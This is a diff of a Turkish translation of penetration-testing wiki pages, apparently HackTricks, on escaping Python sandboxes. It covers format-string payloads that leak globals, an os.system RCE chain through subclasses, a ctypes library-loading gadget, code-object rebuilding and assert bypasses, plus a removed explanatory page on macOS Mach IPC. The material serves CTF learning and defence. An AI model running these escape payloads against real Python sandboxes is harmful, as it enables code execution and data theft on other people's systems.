bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -544,10 +544,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Builtins, Globals... için Özyinelemeli Arama
## Builtins, Globals için Özyinelemeli Arama...
> [!WARNING]
> Bu gerçekten **muhteşem**. Eğer **globals, builtins, open gibi bir obje veya herhangi bir şey arıyorsanız** sadece bu script'i kullanarak o objeyi bulabileceğiniz yerleri **özyinelemeli olarak** bulun.
> Bu gerçekten **harika**. Eğer **globals, builtins, open veya herhangi bir nesne arıyorsanız** sadece bu script'i kullanarak o nesneyi bulabileceğiniz yerleri **özyinelemeli olarak bulabilirsiniz.**
```python
import os, sys # Import these to find more gadgets
@ -663,7 +663,7 @@ print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
Bu scriptin çıktısını bu sayfada kontrol edebilirsiniz:
You can check the output of this script on this page:
{{#ref}}
@ -672,7 +672,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python Format String
Eğer python'a **göndereceğiniz** **string** **formatlanacaksa**, `{}` kullanarak **python internal information.** erişebilirsiniz. Örneğin globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz.
Eğer **python**'a **biçimlendirilecek** bir **string** **gönderirseniz**, `{}` kullanarak **python**'un dahili bilgilerine erişebilirsiniz. Örneğin önceki örnekleri globals veya builtins'e erişmek için kullanabilirsiniz.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -692,16 +692,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Bir nesnenin **özelliklerine erişimi** normal bir şekilde bir **nokta (dot)** ile `people_obj.__init__` gibi yapabileceğinizi ve tırnak kullanmadan **köşeli parantez (parenthesis)** ile **dict öğesini** `__globals__[CONFIG]` şeklinde alabileceğinizi unutmayın.
Özniteliklere normal bir şekilde **özniteliklere erişme** ile **nokta** (`people_obj.__init__`) ve **dict öğesine** **köşeli parantez** ile, tırnaksız (`__globals__[CONFIG]`) erişebileceğinizi unutmayın.
Ayrıca `.__dict__` kullanarak bir nesnenin elemanlarını listeleyebileceğinizi de unutmayın: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Ayrıca bir nesnenin öğelerini listelemek için `.__dict__` kullanabileceğinizi unutmayın `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Format string'lerin bazı diğer ilginç özelliklerinden biri, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** **fonksiyonlarını** sırasıyla **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırabilme** olanağıdır:
Format string'lerin bazı diğer ilginç özelliklerinden biri, belirtilen nesne üzerinde **çalıştırma** yapabilme — yani **fonksiyonları**, örneğin **`str`**, **`repr`** ve **`ascii`**'ı, sırasıyla **`!s`**, **`!r`**, **`!a`** ekleyerek kullanabilme imkanıdır:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Ayrıca, sınıflarda **code new formatters** yazmak mümkündür:
Ayrıca, sınıflarda **code new formatters** oluşturmak mümkündür:
```python
class HAL9000(object):
def __format__(self, format):
@ -712,17 +712,17 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Daha fazla örnek** hakkında **format** **string** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir
**Daha fazla örnek** olarak **format** **string** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir
> [!CAUTION]
> Ayrıca aşağıdaki sayfayı, r**hassas bilgileri Python dahili nesnelerinden okuyan** gadget'lar için de kontrol edin:
> Ayrıca aşağıdaki sayfayı, Python iç nesnelerinden hassas bilgileri okuyacak gadgets için de kontrol edin:
{{#ref}}
../python-internal-read-gadgets.md
{{#endref}}
### Hassas Bilgi İfşası Payloads
### Hassas Bilgi Açığa Çıkarma Payloads
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -742,18 +742,18 @@ str(x) # Out: clueless
Buradan [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### Format'tan RCE ile kütüphane yükleme
### Format string'ten RCE ile kütüphane yükleme
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) python'daki format string zafiyetini kötüye kullanarak diskten istediğiniz kütüphaneleri yüklemek mümkündür.
Bu yazıya göre [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) format string zafiyetini suistimal ederek diskten rastgele kütüphaneler yüklemek mümkün.
Hatırlatma olarak, python'da her işlem yapıldığında bazı fonksiyonlar çalıştırılır. Örneğin `2*3` şu işlemi çalıştırır **`(2).mul(3)`** veya **`{'a':'b'}['a']`** şu olur **`{'a':'b'}.__getitem__('a')`**.
Hatırlatma olarak, python'da her işlem yapıldığında bazı fonksiyonlar çalıştırılır. Örneğin `2*3` şu kodu çalıştırır **`(2).mul(3)`** veya **`{'a':'b'}['a']`** şu kodu çalıştırır **`{'a':'b'}.__getitem__('a')`**.
Daha fazlasını [**Python execution without calls**](#python-execution-without-calls) bölümünde bulabilirsiniz.
Böyle daha fazlasını [**Python execution without calls**](#python-execution-without-calls) bölümünde bulabilirsiniz.
Python format string vuln fonksiyon çalıştırmaya izin vermez (parantez kullanılmasına izin vermez), bu yüzden `'{0.system("/bin/sh")}'.format(os)` gibi bir RCE elde etmek mümkün değildir.
Ancak `[]` kullanmak mümkündür. Bu yüzden, eğer yaygın bir python kütüphanesinin keyfi kod çalıştıran bir **`__getitem__`** veya **`__getattr__`** metodu varsa, bunlar RCE elde etmek için suistimal edilebilir.
Bir python format string zafiyeti fonksiyon çalıştırmaya izin vermez (parantez kullanımına izin vermez), bu yüzden `'{0.system("/bin/sh")}'.format(os)`.\
Bununla birlikte `[]` kullanmak mümkündür. Bu nedenle, yaygın bir python kütüphanesinin rastgele kod çalıştıran bir **`__getitem__`** veya **`__getattr__`** metoduna sahipse, bunlar RCE elde etmek için suistimal edilebilir.
Python'da böyle bir gadget ararken, writeup şu [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)'i kullanıyor. Orada şu [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) bulunuyor:
Python'da böyle bir gadget ararken, writeup şu [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) öneriyor. Burada şu [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) bulundu:
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -775,18 +775,18 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Bu gadget, **diskten bir kütüphane yüklemeye** imkan verir. Bu nedenle, saldırılan sunucuya doğru şekilde derlenmiş **yüklenecek kütüphaneyi bir şekilde yazmak veya yüklemek** gerekir.
Bu gadget diskten **bir kütüphaneyi yüklemeye** izin verir. Bu nedenle, yüklenecek kütüphaneyi doğru şekilde derlenmiş olarak saldırılan sunucuya bir şekilde **yazmak veya yüklemek** gerekir.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
Bu challenge aslında sunucuda, disk üzerinde keyfi dosyalar oluşturulmasına izin veren başka bir zafiyeti suistimal ediyor.
The challenge aslında sunucunun diskinde rastgele dosyalar oluşturulmasına izin veren başka bir açığı kötüye kullanıyor.
## Python Nesnelerini İnceleme
> [!TIP]
> Eğer **python bytecode** hakkında derinlemesine **öğrenmek** istiyorsanız, konuyla ilgili bu **müthiş** yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> Eğer **python bytecode** hakkında derinlemesine **öğrenmek** istiyorsanız konuyla ilgili bu **harika** yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
Bazı CTF'lerde size **flag'in bulunduğu custom fonksiyon**un adı verilebilir ve flag'i çıkarmak için **fonksiyonun** **iç yapısını** görmeniz gerekir.
Bazı CTFs'de **custom function where the flag**'in adı verilebilir ve **function**'ın **internals**'ını görmeniz gerekebilir ki flag'i çıkarabilesiniz.
İncelenecek fonksiyon şudur:
```python
@ -808,7 +808,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` ve `func_globals` (Aynı) global ortamı elde eder. Örnekte bazı import edilmiş modülleri, bazı global değişkenleri ve bunların içeriklerini görebilirsiniz:
`__globals__` and `func_globals`(Aynı) Global ortamı elde eder. Örnekte bazı import edilmiş modülleri, bazı global değişkenleri ve içeriklerinin nasıl tanımlandığını görebilirsiniz:
```python
get_flag.func_globals
get_flag.__globals__
@ -821,7 +821,7 @@ CustomClassObject.__class__.__init__.__globals__
### **Fonksiyon koduna erişim**
**`__code__`** and `func_code`: Fonksiyonun bu **özniteliğine** **erişerek**, fonksiyonun **kod nesnesini elde edebilirsiniz**.
**`__code__`** ve `func_code`: Bu fonksiyonun bu **özniteliğine** **erişerek** fonksiyonun **kod nesnesini** elde edebilirsiniz.
```python
# In our current example
get_flag.__code__
@ -835,7 +835,7 @@ compile("print(5)", "", "single")
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
```
### Kod Bilgilerini Alma
### Kodla İlgili Bilgi Edinme
```python
# Another example
s = '''
@ -909,7 +909,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Dikkat edin ki **if you cannot import `dis` in the python sandbox** fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) elde edip bunu yerel olarak **disassemble** edebilirsiniz. Yüklenen değişkenlerin içeriğini (`LOAD_CONST`) göremezsiniz ama bunları (`get_flag.func_code.co_consts`)'tan tahmin edebilirsiniz çünkü `LOAD_CONST` aynı zamanda yüklenecek değişkenin offset'ini söyler.
Dikkat edin ki **eğer python sandbox içinde `dis`'i import edemiyorsanız** fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) elde edip yerel olarak **disassemble** edebilirsiniz. Yüklenen değişkenlerin içeriklerini (`LOAD_CONST`) göremezsiniz ancak bunları `get_flag.func_code.co_consts`'tan tahmin edebilirsiniz çünkü `LOAD_CONST` aynı zamanda yüklenen değişkenin offset'ini belirtir.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -933,8 +933,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## Python'ı Derleme
Şimdi, bir şekilde **çalıştıramadığınız bir fonksiyon hakkında bilgileri dump edebildiğinizi** ama onu **çalıştırmanız gerektiğini** hayal edelim.\
Aşağıdaki örnekte olduğu gibi, o fonksiyonun **code object'ine erişebilirsiniz**, ancak sadece disassemble'ı okuyarak flag'i nasıl hesaplayacağınızı **bilemezsiniz** (_daha karmaşık bir `calc_flag` fonksiyonu hayal edin_)
Şimdi, bir şekilde **yürütemediğiniz bir fonksiyon hakkındaki bilgileri dump edebildiğinizi** ama onu **yürütmeniz gerektiğini** hayal edelim.\
Aşağıdaki örnekte olduğu gibi, o fonksiyonun **code object**'ine **erişebilirsiniz**, fakat sadece disassemble'ı okuyarak flag'i **nasıl hesaplayacağınızı** bilemezsiniz (_daha karmaşık bir `calc_flag` fonksiyonunu hayal edin_)
```python
def get_flag(some_input):
var1=1
@ -947,9 +947,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Kod nesnesi oluşturma
### code object oluşturma
Her şeyden önce, **bir kod nesnesinin nasıl oluşturulup çalıştırılacağını** bilmemiz gerekiyor, böylece fonksiyon leaked'ımızı çalıştırmak için bir tane oluşturabiliriz:
Öncelikle, **bir code object'in nasıl oluşturulup yürütüleceğini** bilmemiz gerekiyor, böylece function leaked'ımızı çalıştıracak bir tane oluşturabiliriz:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -969,7 +969,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> Python sürümüne bağlı olarak `code_type`'ın **parametreleri** farklı bir **sıraya** sahip olabilir. Kullandığınız python sürümündeki parametrelerin sırasını öğrenmenin en iyi yolu şudur:
> Python sürümüne bağlı olarak `code_type`'in **parametreleri** farklı bir **sıraya** sahip olabilir. Kullandığınız Python sürümündeki parametrelerin sırasını öğrenmenin en iyi yolu şudur:
>
> ```
> import types
@ -977,10 +977,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### Leaked bir fonksiyonun yeniden oluşturulması
### Bir leaked function'ın yeniden oluşturulması
> [!WARNING]
> Aşağıdaki örnekte, fonksiyonu yeniden oluşturmak için gerekli tüm verileri doğrudan function code object'tan alacağız. Bir **gerçek örnekte**, fonksiyon **`code_type`**'ı çalıştırmak için gereken tüm **değerler**, **leak** etmeniz gerekenlerdir.
> Aşağıdaki örnekte, fonksiyonu yeniden oluşturmak için gereken tüm verileri fonksiyonun code object'undan doğrudan alacağız. Gerçek bir örnekte, fonksiyonu çalıştırmak için gerekli tüm **değerler** **`code_type`** için **leak** etmeniz gerekenlerdir.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -991,12 +991,12 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
### Bypass Defenses
### Savunmaları Aşma
Bu yazının başındaki önceki örneklerde, **`compile` fonksiyonunu kullanarak herhangi bir python kodunun nasıl çalıştırılacağını** görebilirsiniz. Bu ilginç çünkü döngüler ve her şey dahil **tam scriptleri** **tek satırda** çalıştırabilirsiniz (ve aynı şeyi **`exec`** kullanarak da yapabilirdik).\
Her neyse, bazen yerel bir makinede bir **compiled object** oluşturup bunu **CTF machine**'de çalıştırmak faydalı olabilir (örneğin CTF'de `compiled` fonksiyonuna sahip olmadığımız için).
Bu yazının başındaki önceki örneklerde, **`compile` fonksiyonunu kullanarak herhangi bir python kodunun nasıl çalıştırılacağını** görebilirsiniz. Bu ilginç çünkü **tüm scriptleri** döngüler ve her şey dahil bir **one liner** içinde çalıştırabilirsiniz (ve aynı şeyi **`exec`** kullanarak da yapabilirdik).\
Her neyse, bazen yerel bir makinede bir **compiled object** oluşturup bunu **CTF machine** üzerinde çalıştırmak faydalı olabilir (örneğin CTF'de `compiled` fonksiyonuna sahip olmadığımız için).
Örneğin, _./poc.py_ dosyasını okuyan bir fonksiyonu elle compile edip çalıştıralım:
Örneğin, _./poc.py_ dosyasını okuyan bir fonksiyonu manuel olarak derleyip çalıştıralım:
```python
#Locally
def read():
@ -1023,7 +1023,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Eğer `eval` veya `exec`'e erişemiyorsanız bir **gerçek fonksiyon** oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hatayla başarısız olur: _constructor not accessible in restricted mode_. Bu yüzden **kısıtlı ortamın dışında bu fonksiyonu çağıracak bir fonksiyon** gerekir.
Eğer `eval` veya `exec`'e erişemiyorsanız, **uygun bir fonksiyon** oluşturabilirsiniz; ancak doğrudan çağırmak genellikle _constructor not accessible in restricted mode_ hatasıyla başarısız olur. Bu yüzden bu fonksiyonu çağırmak için kısıtlı ortamın dışında bir **fonksiyona** ihtiyacınız var.
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1031,11 +1031,11 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Derlenmiş Python'ı decompile etme
## Derlenmiş Python'ın Dekompilasyonu
[**https://www.decompiler.com/**](https://www.decompiler.com) gibi araçları kullanarak verilen derlenmiş python kodunu **decompile** etmek mümkündür.
[**https://www.decompiler.com/**](https://www.decompiler.com) gibi araçları kullanarak verilen derlenmiş Python kodunu **decompile** edebilirsiniz.
**Bu eğitime göz atın**:
**Bu öğreticiye göz atın**:
{{#ref}}
@ -1046,8 +1046,8 @@ f(42)
### Assert
Parametre `-O` ile optimizasyonla çalıştırılan Python, assert ifadelerini ve **debug** değerine bağlı herhangi bir koşullu kodu kaldırır.\
Bu yüzden, şu tür kontroller:
Parametresi `-O` ile optimizasyonla çalıştırılan Python, assert ifadelerini ve **debug** değerine bağlı herhangi bir kodu kaldıracaktır.\
Bu nedenle, şu tür kontroller:
```python
def check_permission(super_user):
try:
@ -1056,9 +1056,9 @@ print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
bypass edilecek
atlatılacaktır
## Kaynaklar
## Referanslar
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)

835
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md
View File

@ -1,835 +0,0 @@
# macOS IPC - Inter Process Communication
{{#include ../../../../banners/hacktricks-training.md}}
## Mach mesajlaşması üzerinden Portlar
### Temel Bilgiler
Mach, kaynakları paylaşmak için **en küçük birim** olarak **görevleri** kullanır ve her görev **birden fazla iş parçacığı** içerebilir. Bu **görevler ve iş parçacıkları, POSIX süreçleri ve iş parçacıkları ile 1:1 eşlenir**.
Görevler arasındaki iletişim, tek yönlü iletişim kanallarını kullanarak Mach Araçlar Arası İletişim (IPC) aracılığıyla gerçekleşir. **Mesajlar, çekirdek tarafından yönetilen **mesaj kuyrukları** gibi davranan portlar arasında aktarılır.
Her sürecin bir **IPC tablosu** vardır; burada **sürecin mach portlarını** bulmak mümkündür. Bir mach portunun adı aslında bir numaradır (çekirdek nesnesine bir işaretçi).
Bir süreç ayrıca bazı haklarla birlikte bir port adını **farklı bir göreve** gönderebilir ve çekirdek, bu girişi **diğer görevin IPC tablosunda** görünür hale getirir.
### Port Hakları
Bir görevin hangi işlemleri gerçekleştirebileceğini tanımlayan port hakları, bu iletişim için anahtardır. Olası **port hakları** şunlardır ([tanımlar buradan](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
- **Alma hakkı**, portta gönderilen mesajları alma izni verir. Mach portları MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da sistemde her port için yalnızca **bir alma hakkı** olabileceği anlamına gelir (bir boru ile, birden fazla süreç bir borunun okuma ucuna dosya tanımlayıcıları tutabilir).
- **Alma** hakkına sahip bir **görev**, mesaj alabilir ve **Gönderme hakları** oluşturabilir, böylece mesaj gönderebilir. Başlangıçta yalnızca **kendi görevi, portu üzerinde Alma hakkına** sahiptir.
- **Gönderme hakkı**, portta mesaj göndermeye izin verir.
- Gönderme hakkı **kopyalanabilir**, böylece bir Gönderme hakkına sahip bir görev, hakkı kopyalayabilir ve **üçüncü bir göreve verebilir**.
- **Bir kez gönderme hakkı**, portta bir mesaj göndermeye izin verir ve ardından kaybolur.
- **Port set hakkı**, tek bir port yerine bir _port setini_ belirtir. Bir port setinden bir mesajın çıkarılması, içerdiği portlardan birinden bir mesajın çıkarılması anlamına gelir. Port setleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi birden fazla portta aynı anda dinlemek için kullanılabilir.
- **Ölü ad**, gerçek bir port hakkı değildir, sadece bir yer tutucudur. Bir port yok edildiğinde, port üzerindeki tüm mevcut port hakları ölü adlara dönüşür.
**Görevler, diğerlerine GÖNDER haklarını aktarabilir**, böylece geri mesaj gönderebilirler. **GÖNDER hakları da kopyalanabilir, böylece bir görev, hakkı çoğaltabilir ve üçüncü bir göreve verebilir**. Bu, **bootstrap sunucusu** olarak bilinen bir ara süreçle birleştirildiğinde, görevler arasında etkili iletişim sağlar.
### Dosya Portları
Dosya portları, Mac portlarında dosya tanımlayıcılarını kapsüllemeye olanak tanır (Mach port haklarını kullanarak). Verilen bir FD'den `fileport_makeport` kullanarak bir `fileport` oluşturmak ve bir fileport'tan `fileport_makefd` kullanarak bir FD oluşturmak mümkündür.
### İletişim Kurma
#### Adımlar:
İletişim kanalını kurmak için, **bootstrap sunucusu** (**launchd** mac'te) devreye girer.
1. Görev **A**, **yeni bir port** başlatır ve süreçte bir **ALMA hakkı** elde eder.
2. Görev **A**, ALMA hakkının sahibi olarak, **port için bir GÖNDERME hakkı oluşturur**.
3. Görev **A**, **portun hizmet adını** ve **GÖNDERME hakkını** sağlayarak **bootstrap sunucusu** ile bir **bağlantı** kurar.
4. Görev **B**, bir hizmet adı için bootstrap **arama** gerçekleştirmek üzere **bootstrap sunucusu** ile etkileşime girer. Başarılı olursa, **sunucu, Görev A'dan aldığı GÖNDERME hakkını kopyalar** ve **Görev B'ye iletir**.
5. GÖNDERME hakkını aldıktan sonra, Görev **B**, bir **mesaj** oluşturma ve bunu **Görev A'ya** gönderme yeteneğine sahiptir.
6. İki yönlü iletişim için genellikle görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı ile yeni bir port oluşturur ve **GÖNDERME hakkını Görev A'ya** verir, böylece Görev B'ye mesaj gönderebilir (iki yönlü iletişim).
Bootstrap sunucusu, bir görevin iddia ettiği hizmet adını **doğrulayamaz**. Bu, bir **görevin** potansiyel olarak **herhangi bir sistem görevini taklit edebileceği** anlamına gelir; örneğin, yanlış bir şekilde **bir yetkilendirme hizmet adı iddia ederek** her isteği onaylayabilir.
Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar; bu dosyalar **SIP korumalı** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adıyla birlikte, **ilişkili ikili dosya da saklanır**. Bootstrap sunucusu, bu hizmet adları için bir **ALMA hakkı oluşturur ve tutar**.
Bu önceden tanımlanmış hizmetler için, **arama süreci biraz farklıdır**. Bir hizmet adı arandığında, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı şu şekildedir:
- Görev **B**, bir hizmet adı için bootstrap **arama** başlatır.
- **launchd**, görevin çalışıp çalışmadığını kontrol eder ve çalışmıyorsa, **başlatır**.
- Görev **A** (hizmet), bir **bootstrap kontrolü** gerçekleştirir. Burada, **bootstrap** sunucusu bir GÖNDERME hakkı oluşturur, bunu saklar ve **ALMA hakkını Görev A'ya aktarır**.
- launchd, **GÖNDERME hakkını kopyalar ve Görev B'ye gönderir**.
- Görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı ile yeni bir port oluşturur ve **GÖNDERME hakkını Görev A'ya** (hizmet) verir, böylece Görev B'ye mesaj gönderebilir (iki yönlü iletişim).
Ancak, bu süreç yalnızca önceden tanımlanmış sistem görevleri için geçerlidir. Sistem dışı görevler, başlangıçta açıklandığı gibi çalışmaya devam eder, bu da taklit olasılığını artırabilir.
### Bir Mach Mesajı
[Buradan daha fazla bilgi edinin](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
